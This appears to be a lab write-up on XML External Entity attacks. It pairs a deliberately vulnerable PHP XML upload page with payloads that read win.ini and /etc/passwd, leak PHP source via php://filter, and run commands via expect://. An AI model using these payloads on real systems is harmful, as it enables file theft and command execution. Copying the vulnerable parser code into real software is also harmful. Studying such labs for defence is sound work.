Prepare

Lab

Linux kali 3.14-kali1-686-pae

Requments

# apt-get install libapache2-mod-PHP5 PHP-xml-dtd PHP-xml-parser libexpect-PHP5

Demo Code

<html>                       
<body>                       
<h1>Process XML</h1>         
 
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Archive XML:</label>        
    <input type="file" name="file" id="file">
    <input type="submit" name="submit" value="submit"><br />
</form>                      
<hr>                           
<h1>Results</h1>             
<?PHP # error_reporting(E_ALL);  # ini_set("display_errors",1);  if ( isset($_FILES["file"]) ) { $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "invalid xml format"; } ?>                           
 
</body>                      
</html>

Exploit

Windows

File Inclusion

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE somexml[<!ENTITY message SYSTEM "file:///C:/Windows/win.ini">]>
<xxx>&message;</xxx>

Source Disclosure

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE somexml[<!ENTITY message SYSTEM "PHP://filter/read=convert.base64-encode/resource=C:/xampp/htdocs/recv.PHP">]>
<xxx>&message;</xxx>

Linux

File Inclusion

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE somexml [<!ENTITY hello SYSTEM "file:///etc/passwd">]>
<somexml><message>&hello;</message></somexml>

Source Disclosure

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE somexml [<!ENTITY hello SYSTEM "PHP://filter/read=convert.base64-encode/resource=/var/www/xxe.PHP">]>
<somexml><message>&hello;</message></somexml>

Command Execution

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE somexml [<!ENTITY hello SYSTEM "expect://dir">]>
<somexml><message>&hello;</message></somexml>

Lab - XML eXternal Entity Attack

Prepare

Demo Code

Exploit

Windows

File Inclusion

Source Disclosure

Linux

File Inclusion

Source Disclosure

Command Execution

References

猜你在找的XML相关文章